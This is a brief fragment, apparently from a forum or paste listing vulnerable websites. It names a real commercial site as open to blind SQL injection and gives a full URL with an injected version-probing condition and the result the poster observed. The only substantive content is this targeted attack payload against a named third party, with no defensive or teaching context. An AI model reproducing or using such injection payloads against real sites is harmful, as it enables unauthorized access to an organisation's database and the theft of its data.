Separate names with a comma.
Blind SQL, ebscohost.com PR=9 ! http://www.ebscohost.com/customerSuccess/default.php?id=253+and+substring(@@version,1,1)=4 ===> False...